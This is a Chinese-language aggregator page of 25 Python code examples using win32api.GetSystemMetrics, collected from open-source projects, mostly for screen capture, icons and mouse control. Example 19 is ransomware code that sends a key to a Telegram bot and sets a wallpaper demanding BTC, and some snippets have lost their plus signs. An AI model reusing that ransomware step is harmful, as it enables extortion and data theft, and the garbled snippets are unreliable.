win32api python 手册_windows api如何使用

2022-11-10 15:30:32 浏览数 (1)

本文整理汇总了Python中win32api.GetSystemMetrics方法的典型用法代码示例。如果您正苦于以下问题:Python win32api.GetSystemMetrics方法的具体用法?Python win32api.GetSystemMetrics怎么用?Python win32api.GetSystemMetrics使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在模块win32api的用法示例。

在下文中一共展示了win32api.GetSystemMetrics方法的25个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: get_screen_area_as_image

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def get_screen_area_as_image(area=(0, 0, GetSystemMetrics(0), GetSystemMetrics(1))):

screen_width = GetSystemMetrics(0)

screen_height = GetSystemMetrics(1)

# h, w = image.shape[:-1] # height and width of searched image

x1 = min(int(area[0]), screen_width)

y1 = min(int(area[1]), screen_height)

x2 = min(int(area[2]), screen_width)

y2 = min(int(area[3]), screen_height)

search_area = (x1, y1, x2, y2)

img_rgb = ImageGrab.grab().crop(search_area).convert(“RGB”)

img_rgb = np.array(img_rgb) # convert to cv2 readable format (and to BGR)

img_rgb = img_rgb[:, :, ::-1].copy() # convert back to RGB

return img_rgb

开发者ID:CharlesDankoff,项目名称:ultra_secret_scripts,代码行数:20,

示例2: __init__

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def __init__(self, obj=None):

if obj is None:

obj = win32ui.CreateControlBar()

window.Wnd.__init__(self, obj)

self.dialog = None

self.nDockBarID = 0

self.sizeMin = 32, 32

self.sizeHorz = 200, 200

self.sizeVert = 200, 200

self.sizeFloat = 200, 200

self.bTracking = 0

self.bInRecalcNC = 0

self.cxEdge = 6

self.cxBorder = 3

self.cxGripper = 20

self.brushBkgd = win32ui.CreateBrush()

self.brushBkgd.CreateSolidBrush(win32api.GetSysColor(win32con.COLOR_BTNFACE))

# Support for diagonal resizing

self.cyBorder = 3

self.cCaptionSize = win32api.GetSystemMetrics(win32con.SM_CYSMCAPTION)

self.cMinWidth = win32api.GetSystemMetrics(win32con.SM_CXMIN)

self.cMinHeight = win32api.GetSystemMetrics(win32con.SM_CYMIN)

self.rectUndock = (0,0,0,0)

开发者ID:IronLanguages,项目名称:ironpython2,代码行数:26,

示例3: FillList

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def FillList(self):

index = 0

size = self.GetWindowRect()

width = size[2] – size[0] – (10) – win32api.GetSystemMetrics(win32con.SM_CXVSCROLL)

numCols = len(self.colHeadings)

for col in self.colHeadings:

itemDetails = (commctrl.LVCFMT_LEFT, width/numCols, col, 0)

self.itemsControl.InsertColumn(index, itemDetails)

index = index 1

index = 0

for items in self.items:

index = self.itemsControl.InsertItem(index 1, str(items[0]), 0)

for itemno in range(1,numCols):

item = items[itemno]

self.itemsControl.SetItemText(index, itemno, str(item))

开发者ID:IronLanguages,项目名称:ironpython2,代码行数:18,

示例4: prep_menu_icon

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def prep_menu_icon(self, icon):

# First load the icon.

ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)

ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)

hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

hdcBitmap = win32gui.CreateCompatibleDC(0)

hdcScreen = win32gui.GetDC(0)

hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)

hbmOld = win32gui.SelectObject(hdcBitmap, hbm)

# Fill the background.

brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)

win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)

# unclear if brush needs to be feed. Best clue I can find is:

# “GetSysColorBrush returns a cached brush instead of allocating a new

# one.” – implies no DeleteObject

# draw the icon

win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)

win32gui.SelectObject(hdcBitmap, hbmOld)

win32gui.DeleteDC(hdcBitmap)

return hbm

开发者ID:OpenBazaar,项目名称:OpenBazaar-Installer,代码行数:24,

示例5: mouse_drag

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def mouse_drag(self, pos1, pos2):

“””

鼠标拖拽

:param pos1: (x,y) 起点坐标

:param pos2: (x,y) 终点坐标

“””

pos1_s = win32gui.ClientToScreen(self.hwnd, pos1)

pos2_s = win32gui.ClientToScreen(self.hwnd, pos2)

screen_x = win32api.GetSystemMetrics(win32con.SM_CXSCREEN)

screen_y = win32api.GetSystemMetrics(win32con.SM_CYSCREEN)

start_x = pos1_s[0]*65535//screen_x

start_y = pos1_s[1]*65535//screen_y

dst_x = pos2_s[0]*65535//screen_x

dst_y = pos2_s[1]*65535//screen_y

move_x = np.linspace(start_x, dst_x, num=20, endpoint=True)[0:]

move_y = np.linspace(start_y, dst_y, num=20, endpoint=True)[0:]

self.mouse_move(pos1)

win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)

for i in range(20):

x = int(round(move_x[i]))

y = int(round(move_y[i]))

win32api.mouse_event(win32con.MOUSEEVENTF_MOVE |

win32con.MOUSEEVENTF_ABSOLUTE, x, y, 0, 0)

time.sleep(0.01)

win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)

开发者ID:AcademicDog,项目名称:onmyoji_bot,代码行数:27,

示例6: prep_menu_icon

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def prep_menu_icon(self, icon):

# First load the icon.

ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)

ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)

hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y,

win32con.LR_LOADFROMFILE)

hdcBitmap = win32gui.CreateCompatibleDC(0)

hdcScreen = win32gui.GetDC(0)

hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)

hbmOld = win32gui.SelectObject(hdcBitmap, hbm)

# Fill the background.

brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)

win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)

# unclear if brush needs to be feed. Best clue I can find is:

# “GetSysColorBrush returns a cached brush instead of allocating a new

# one.” – implies no DeleteObject

# draw the icon

win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0,

win32con.DI_NORMAL)

win32gui.SelectObject(hdcBitmap, hbmOld)

win32gui.DeleteDC(hdcBitmap)

return hbm

开发者ID:eavatar,项目名称:eavatar-me,代码行数:26,

示例7: prep_menu_icon

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def prep_menu_icon(self, icon):

# First load the icon.

ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)

ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)

hicon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

hdcBitmap = win32gui.CreateCompatibleDC(0)

hdcScreen = win32gui.GetDC(0)

hbm = win32gui.CreateCompatibleBitmap(hdcScreen, ico_x, ico_y)

hbmOld = win32gui.SelectObject(hdcBitmap, hbm)

# Fill the background.

brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)

win32gui.FillRect(hdcBitmap, (0, 0, 16, 16), brush)

# unclear if brush needs to be feed. Best clue I can find is:

# “GetSysColorBrush returns a cached brush instead of allocating a new

# one.” – implies no DeleteObject

# draw the icon

win32gui.DrawIconEx(hdcBitmap, 0, 0, hicon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)

win32gui.SelectObject(hdcBitmap, hbmOld)

win32gui.DeleteDC(hdcBitmap)

return hbm

开发者ID:beville,项目名称:ComicStreamer,代码行数:24,

示例8: __init__

​点赞 6

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def __init__( self, parent ):

super( Window.ProgressBar, self ).__init__()

rect = win32gui.GetClientRect( parent.window_handle )

yscroll = win32api.GetSystemMetrics(win32con.SM_CYVSCROLL)

self.handle = win32gui.CreateWindowEx( 0,

commctrl.PROGRESS_CLASS,

None,

win32con.WS_VISIBLE | win32con.WS_CHILD,

rect[ 0 ] yscroll,

(rect[ 3 ]) – 2 * yscroll,

(rect[ 2 ] – rect[ 0 ]) – 2*yscroll,

yscroll,

parent.window_handle,

self.registry_id,

win32gui.GetModuleHandle(None),

None )

开发者ID:mailpile,项目名称:gui-o-matic,代码行数:18,

示例9: update

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def update(self):

self.label.config(text=self.text)

self.label.config(fg=self.fg)

if self.bg == “none”:

self.label.config(bg=”#f1f2f2″)

else:

self.label.config(bg=self.bg)

self.label.update()

self.width = self.label.winfo_width()

self.height = self.label.winfo_height()

screen_width = win32api.GetSystemMetrics(0)

screen_height = win32api.GetSystemMetrics(1)

if self.pos[0] == “T”:

y = 0

elif self.pos[0] == “M”:

y = screen_height / 2 – self.height / 2

else:

y = screen_height – self.height

if self.pos[1] == “L”:

x = 0

elif self.pos[1] == “C”:

x = screen_width / 2 – self.width / 2

else:

x = screen_width – self.width

self.label.master.geometry(“ {} {}”.format(int(x), int(y)))

self.label.update()

开发者ID:CharlesDankoff,项目名称:ultra_secret_scripts,代码行数:33,

示例10: OnCreateClient

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def OnCreateClient( self, createparams, context ):

borderX = win32api.GetSystemMetrics(win32con.SM_CXFRAME)

borderY = win32api.GetSystemMetrics(win32con.SM_CYFRAME)

titleY = win32api.GetSystemMetrics(win32con.SM_CYCAPTION)# includes border

# try and maintain default window pos, else adjust if cant fit

# get the main client window dimensions.

mdiClient = win32ui.GetMainFrame().GetWindow(win32con.GW_CHILD)

clientWindowRect=mdiClient.ScreenToClient(mdiClient.GetWindowRect())

clientWindowSize=(clientWindowRect[2]-clientWindowRect[0],clientWindowRect[3]-clientWindowRect[1])

left, top, right, bottom=mdiClient.ScreenToClient(self.GetWindowRect())

#width, height=context.doc.size[0], context.doc.size[1]

#width = width borderX*2

#height= height titleY borderY*2-1

#if (left width)>clientWindowSize[0]:

#left = clientWindowSize[0] – width

#if left<0:

#left = 0

#width = clientWindowSize[0]

#if (top height)>clientWindowSize[1]:

#top = clientWindowSize[1] – height

#if top<0:

#top = 0

#height = clientWindowSize[1]

#self.frame.MoveWindow((left, top, left width, top height),0)

window.MDIChildWnd.OnCreateClient(self, createparams, context)

return 1

开发者ID:IronLanguages,项目名称:ironpython2,代码行数:28,

示例11: OnPaint

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def OnPaint(self):

if not self.IsIconic(): return self._obj_.OnPaint()

self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0)

left, top, right, bottom = self.GetClientRect()

left = (right – win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1

top = (bottom – win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1

hIcon = win32ui.GetApp().LoadIcon(self.iconId)

self.GetDC().DrawIcon((left, top), hIcon)

# Only needed to provide a minimized icon (and this seems

# less important under win95/NT4

开发者ID:IronLanguages,项目名称:ironpython2,代码行数:13,

示例12: OnInitDialog

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def OnInitDialog(self):

self.editMenuCommand = self.GetDlgItem(win32ui.IDC_EDIT2)

self.butNew = self.GetDlgItem(win32ui.IDC_BUTTON3)

# Now hook the change notification messages for the edit controls.

self.HookCommand(self.OnCommandEditControls, win32ui.IDC_EDIT1)

self.HookCommand(self.OnCommandEditControls, win32ui.IDC_EDIT2)

self.HookNotify(self.OnNotifyListControl, commctrl.LVN_ITEMCHANGED)

self.HookNotify(self.OnNotifyListControlEndLabelEdit, commctrl.LVN_ENDLABELEDIT)

# Hook the button clicks.

self.HookCommand(self.OnButtonNew, win32ui.IDC_BUTTON3) # New Item

self.HookCommand(self.OnButtonDelete, win32ui.IDC_BUTTON4) # Delete item

self.HookCommand(self.OnButtonMove, win32ui.IDC_BUTTON1) # Move up

self.HookCommand(self.OnButtonMove, win32ui.IDC_BUTTON2) # Move down

# Setup the columns in the list control

lc = self.GetDlgItem(win32ui.IDC_LIST1)

rect = lc.GetWindowRect()

cx = rect[2] – rect[0]

colSize = cx/2 – win32api.GetSystemMetrics(win32con.SM_CXBORDER) – 1

item = commctrl.LVCFMT_LEFT, colSize, “Menu Text”

lc.InsertColumn(0, item)

item = commctrl.LVCFMT_LEFT, colSize, “Python Command”

lc.InsertColumn(1, item)

# Insert the existing tools menu

itemNo = 0

for desc, cmd in LoadToolMenuItems():

lc.InsertItem(itemNo, desc)

lc.SetItemText(itemNo, 1, cmd)

itemNo = itemNo 1

self.listControl = lc

return dialog.PropertyPage.OnInitDialog(self)

开发者ID:IronLanguages,项目名称:ironpython2,代码行数:40,

示例13: grab_screen

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def grab_screen(region=None):

hwin = win32gui.GetDesktopWindow()

if region:

left,top,x2,y2 = region

width = x2 – left 1

height = y2 – top 1

else:

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

hwindc = win32gui.GetWindowDC(hwin)

srcdc = win32ui.CreateDCFromHandle(hwindc)

memdc = srcdc.CreateCompatibleDC()

bmp = win32ui.CreateBitmap()

bmp.CreateCompatibleBitmap(srcdc, width, height)

memdc.SelectObject(bmp)

memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)

signedIntsArray = bmp.GetBitmapBits(True)

img = np.fromstring(signedIntsArray, dtype=’uint8′)

img.shape = (height,width,4)

srcdc.DeleteDC()

memdc.DeleteDC()

win32gui.ReleaseDC(hwin, hwindc)

win32gui.DeleteObject(bmp.GetHandle())

return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB)

开发者ID:Sentdex,项目名称:pygta5,代码行数:34,

示例14: grab_screen

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def grab_screen(region=None):

hwin = win32gui.GetDesktopWindow()

if region:

left,top,x2,y2 = region

width = x2 – left 1

height = y2 – top 1

else:

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

hwindc = win32gui.GetWindowDC(hwin)

srcdc = win32ui.CreateDCFromHandle(hwindc)

memdc = srcdc.CreateCompatibleDC()

bmp = win32ui.CreateBitmap()

bmp.CreateCompatibleBitmap(srcdc, width, height)

memdc.SelectObject(bmp)

memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)

signedIntsArray = bmp.GetBitmapBits(True)

img = np.fromstring(signedIntsArray, dtype=’uint8′)

img.shape = (height,width,4)

srcdc.DeleteDC()

memdc.DeleteDC()

win32gui.ReleaseDC(hwin, hwindc)

win32gui.DeleteObject(bmp.GetHandle())

return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB)

开发者ID:Sentdex,项目名称:pygta5,代码行数:32,

示例15: grab_screen

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def grab_screen(region=None):

hwin = win32gui.GetDesktopWindow()

if region:

left,top,x2,y2 = region

width = x2 – left 1

height = y2 – top 1

else:

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

hwindc = win32gui.GetWindowDC(hwin)

srcdc = win32ui.CreateDCFromHandle(hwindc)

memdc = srcdc.CreateCompatibleDC()

bmp = win32ui.CreateBitmap()

bmp.CreateCompatibleBitmap(srcdc, width, height)

memdc.SelectObject(bmp)

memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)

signedIntsArray = bmp.GetBitmapBits(True)

img = np.fromstring(signedIntsArray, dtype=’uint8′)

img.shape = (height,width,4)

srcdc.DeleteDC()

memdc.DeleteDC()

win32gui.ReleaseDC(hwin, hwindc)

win32gui.DeleteObject(bmp.GetHandle())

return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB)

开发者ID:Sentdex,项目名称:pygta5,代码行数:35,

示例16: is_shutting_down

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def is_shutting_down():

“”” Returns True if Windows initiated shutdown process “””

return (win32api.GetSystemMetrics(SM_SHUTTINGDOWN) != 0)

开发者ID:kozec,项目名称:syncthing-gtk,代码行数:5,

示例17: get_resolution

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def get_resolution():

“””Get the resolution of the main monitor.

Returns:

(x, y) resolution as a tuple.

“””

return (win32api.GetSystemMetrics(win32con.SM_CXSCREEN),

win32api.GetSystemMetrics(win32con.SM_CYSCREEN))

开发者ID:Peter92,项目名称:MouseTracks,代码行数:9,

示例18: _set_icon_menu

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def _set_icon_menu(self, icon):

“””Load icons into the tray items.

Got from https://stackoverflow.com/a/45890829.

“””

ico_x = win32api.GetSystemMetrics(win32con.SM_CXSMICON)

ico_y = win32api.GetSystemMetrics(win32con.SM_CYSMICON)

hIcon = win32gui.LoadImage(0, icon, win32con.IMAGE_ICON, ico_x, ico_y, win32con.LR_LOADFROMFILE)

hwndDC = win32gui.GetWindowDC(self.hwnd)

dc = win32ui.CreateDCFromHandle(hwndDC)

memDC = dc.CreateCompatibleDC()

iconBitmap = win32ui.CreateBitmap()

iconBitmap.CreateCompatibleBitmap(dc, ico_x, ico_y)

oldBmp = memDC.SelectObject(iconBitmap)

brush = win32gui.GetSysColorBrush(win32con.COLOR_MENU)

win32gui.FillRect(memDC.GetSafeHdc(), (0, 0, ico_x, ico_y), brush)

win32gui.DrawIconEx(memDC.GetSafeHdc(), 0, 0, hIcon, ico_x, ico_y, 0, 0, win32con.DI_NORMAL)

memDC.SelectObject(oldBmp)

memDC.DeleteDC()

win32gui.ReleaseDC(self.hwnd, hwndDC)

self.logger.debug(‘Set menu icon.’)

return iconBitmap.GetHandle()

开发者ID:Peter92,项目名称:MouseTracks,代码行数:29,

示例19: OneStart

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def OneStart():

try: # Run Try/Except So We Dont Run in to Error

HttpReq = D_E_ncrypt(Url=f”https://api.telegram.org/bot{Token}/sendMessage?chat_id={NumID}&text={Message}”)

threading.Thread(target=HttpReq.SendKey, args=()).start() # Making HttpReq Moudle And Runnig it In a Thread

Img = Image.new(‘RGB’, (GetSystemMetrics(0), GetSystemMetrics(1)), color = (0, 0, 0)) # Getting Window Heihgt & Weight To Make Background

Canvas= ImageDraw.Draw(Img) # Drawing Image

font = ImageFont.truetype(“arial”, int(GetSystemMetrics(1)/20)) # Getting Right Font Size

Canvas.text(

(10,10), (r”””

Your data Is encrypted In order to Get your

> date back Send me (YOUR PRICE USD) in BTC to this Wellt

> and then email me for your key

> YOUR WELLET

> GoodLuck :)

> ~ YOUR NAME “””),

fill=(255,0,0),font=font) # Write Text On Image

Img.save(‘Bg.png’) # Save Image as bg.png

ctypes.windll.user32.SystemParametersInfoW(20, 0, f'{os.getcwd()}\Bg.png’ , 0) # Set New Background Up

except:pass

开发者ID:cy4nguy,项目名称:Python-Ransomware,代码行数:28,

示例20: __call__

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def __call__(self, x = None, y = None, displayNumber = None, center = False, useAlternateMethod=False):

point = POINT()

GetCursorPos(point)

X = point.x

Y = point.y

mons = EnumDisplayMonitors(None, None)

mons = [item[2] for item in mons]

for mon in range(len(mons)): # on what monitor (= mon) is the cursor?

m = mons[mon]

if m[0] <= X and X <= m[2] and m[1] <= Y and Y <= m[3]:

break

if displayNumber is None:

displayNumber = mon

monitorDimensions = GetMonitorDimensions()

try:

displayRect = monitorDimensions[displayNumber]

except IndexError:

displayNumber = 0

displayRect = monitorDimensions[displayNumber]

if center:

x = displayRect[2] / 2

y = displayRect[3] / 2

if x is None:

x = X – mons[displayNumber][0]

if y is None:

y = Y – mons[displayNumber][1]

x = displayRect[0]

y = displayRect[1]

if useAlternateMethod:

x = x * 65535 / GetSystemMetrics(0)

y = y * 65535 / GetSystemMetrics(1)

mouse_event2(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, x, y)

else:

SetCursorPos(x, y)

开发者ID:EventGhost,项目名称:EventGhost,代码行数:39,

示例21: __calculate_absolute_coordinates__

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def __calculate_absolute_coordinates__(self, x, y):

width, height = win32api.GetSystemMetrics(SM_CXSCREEN), win32api.GetSystemMetrics(SM_CYSCREEN)

x = (x * 65536)

y = (y * 65536)

return int(x / width), int(y / height)

开发者ID:will7200,项目名称:Yugioh-bot,代码行数:7,

示例22: IconLarge

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def IconLarge( cls, *args, **kwargs ):

dims =(win32con.SM_CXICON, win32con.SM_CYICON)

size = tuple(map(win32api.GetSystemMetrics,dims))

return cls.Icon( *args, size = size, **kwargs )

开发者ID:mailpile,项目名称:gui-o-matic,代码行数:6,

示例23: IconSmall

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def IconSmall( cls, *args, **kwargs ):

dims =(win32con.SM_CXSMICON, win32con.SM_CYSMICON)

size = tuple(map(win32api.GetSystemMetrics,dims))

return cls.Icon( *args, size = size, **kwargs )

开发者ID:mailpile,项目名称:gui-o-matic,代码行数:6,

示例24: screen_size

​点赞 5

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def screen_size():

return tuple( map( win32api.GetSystemMetrics,

(win32con.SM_CXVIRTUALSCREEN,

win32con.SM_CYVIRTUALSCREEN)))

开发者ID:mailpile,项目名称:gui-o-matic,代码行数:6,

示例25: screenshot

​点赞 4

# 需要导入模块: import win32api [as 别名]

# 或者: from win32api import GetSystemMetrics [as 别名]

def screenshot(filename, hwnd=None):

“””

Take the screenshot of Windows app

Args:

filename: file name where to store the screenshot

hwnd:

Returns:

bitmap screenshot file

“””

# import ctypes

# user32 = ctypes.windll.user32

# user32.SetProcessDPIAware()

if hwnd is None:

“””all screens”””

hwnd = win32gui.GetDesktopWindow()

# get complete virtual screen including all monitors

w = win32api.GetSystemMetrics(SM_CXVIRTUALSCREEN)

h = win32api.GetSystemMetrics(SM_CYVIRTUALSCREEN)

x = win32api.GetSystemMetrics(SM_XVIRTUALSCREEN)

y = win32api.GetSystemMetrics(SM_YVIRTUALSCREEN)

else:

“””window”””

rect = win32gui.GetWindowRect(hwnd)

w = abs(rect[2] – rect[0])

h = abs(rect[3] – rect[1])

x, y = 0, 0

hwndDC = win32gui.GetWindowDC(hwnd)

mfcDC = win32ui.CreateDCFromHandle(hwndDC)

saveDC = mfcDC.CreateCompatibleDC()

saveBitMap = win32ui.CreateBitmap()

saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)

saveDC.SelectObject(saveBitMap)

saveDC.BitBlt((0, 0), (w, h), mfcDC, (x, y), win32con.SRCCOPY)

# saveBitMap.SaveBitmapFile(saveDC, filename)

bmpinfo = saveBitMap.GetInfo()

bmpstr = saveBitMap.GetBitmapBits(True)

pil_image = Image.frombuffer(

‘RGB’,

(bmpinfo[‘bmWidth’], bmpinfo[‘bmHeight’]),

bmpstr, ‘raw’, ‘BGRX’, 0, 1)

cv2_image = pil_2_cv2(pil_image)

mfcDC.DeleteDC()

saveDC.DeleteDC()

win32gui.ReleaseDC(hwnd, hwndDC)

win32gui.DeleteObject(saveBitMap.GetHandle())

return cv2_image

开发者ID:AirtestProject,项目名称:Airtest,代码行数:53,

注:本文中的win32api.GetSystemMetrics方法示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/183140.html原文链接:https://javaforall.cn

0 人点赞